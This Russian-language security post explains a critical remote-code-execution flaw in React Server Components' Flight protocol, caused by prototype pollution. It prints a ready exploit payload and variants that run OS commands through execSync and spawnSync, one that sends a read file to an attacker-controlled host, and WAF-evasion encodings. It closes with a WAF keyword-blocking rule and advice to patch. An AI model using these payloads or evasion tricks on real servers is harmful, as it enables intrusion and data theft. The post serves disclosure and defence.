Это RCE уязвимость в RCE в React Server Components. Основана на небезопасной десериализации и серверном prototype pollution в протоколе Flight. Она позволяет неаутентифицированному удалённому атакующему выполнить произвольный JS-код.
Уязвимые версии: React 19.0.0, React 19.1.0, React 19.1.1, React 19.2.0 пакетов react-server-dom-webpack, react-server-dom-parcel, react-server-dom-turbopack.
😬 Метрики
Base Score: 10.0 CRITICAL
CWE: CWE-502
😬 Кратко об уязвимости
Из-за ошибки в десериализации протокола Flight злоумышленник может выполнить произвольный JavaScript-код на сервере через прототипное загрязнение. При обработке фрагментов и попытке разрешить ссылки React не проверял, существует ли запрошенный ключ в самом объекте. Это и приводило к загрязнению прототипа.
Flight-протокол допускает ссылки вида
$1:key1:key2:...:keyN:$1:__proto__:constructor:constructor
Протокол разбирает это так: взять фрагмент 1 -> получить поле
__proto__ -> получить constructor -> опять получить constructor. Если нет проверки «является ли поле собственным свойством объекта», интерпретатор переходил в прототип, затем в Function constructor и в итоге получал сам конструктор функции.😬 Примеры
Cтандартная нагрузка в большинстве эксплойтов:
{"then": "$1:__proto__:then", "status": "resolved_model", "reason": -1, "value": "{\"then\": \"$B0\"}", "_response": {"_prefix": "process.mainModule.require('child_process').execSync('CODE');", "_formData": {"get": "$1:constructor:constructor"}}}😬 Какие еще вариации полезных нагрузок есть и к каким последствиям может привести уязвимость
RCE
process.mainModule.require('child_process').execSync('CODE'); Вызов CODE через execSync — синхронную функцию, которая выполняет команду ОС. Инъекция происходит вслепую.
process.mainModule.require('child_process').execSync('CODE').toString().trim();;throw Object.assign(newError('NEXT_REDIRECT'),{digest: NEXT_REDIRECT;push;/login?a=${res};307;});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}Аналог вышестоящей команды, но с выводом результата команды в заголовке x-action-redirect.
process.mainModule.require('child_process').spawnSync('CODE', { shell: true, stdio: 'ignore' })Вызов CODE через spawnSync — синхронную версию функции, которая позволяет запускать внешние процессы напрямую. Инъекция происходит вслепую.
SSRF
process.mainModule.require('https').request({hostname:HOST',path:'/test',method:'POST'}).end(process.mainModule.require('fs').readFileSync('FILE'));Выполнение SSRF через require('https'). HOST — сервер под контролем злоумышленника, FILE — содержимое файла, которое будет передано на HOST.
Bypass WAF/IDS
Для обхода сигнатур WAF/IDS злоумышленник может использовать Unicode:
:__proto__:then -> \u005f\u005f\u0070\u0072\u006f\u0074\u006f\u005f\u005f\u003a\u0074\u0068\u0065\u006e
Или строку
CODE могут закодировать в base64 так: execSync(Buffer.from('Q09ERQ==','base64').toString())Так можно изменить с помощью String.fromCharCode — встроенной JavaScript-функцией, которая создаёт строку из набора числовых кодов символов.
process.mainModule.require('child_process').execSync('CODE'); -> Function('return '+String.fromCharCode(112,114,111,99,101,115,115))().mainModule.require('child_process').execSync('CODE’)Техники можно комбинировать, что усложняет обнаружение.
\u0046\u0075\u006e\u0063\u0074\u0069\u006f\u006e('return '+String.fromCharCode(112,114,111,99,101,115,115))...😬 Итог
Обнаружить классическими сигнатурами сложнее из-за вариативности нагрузок и методов обфускации, но лучше иметь какую-то защиту.
Рекомендуем написать правило на WAF/IDS, которое будет блокировать запросы вида метод POST, а также заголовки next-action или x-rsc-action. В том числе если тело запроса содержит ссылки
$B, $@, $Q или их Unicode представления и опасные JS-методы или функции, например child_process, String.fromCharCode, _proto_, execSync ,spawnSync, _chunks, _formData, _response, toString. Нужно регистронезависимое правило.Но самый лучший вид защиты — обновление уязвимых пакетов до новых версий.
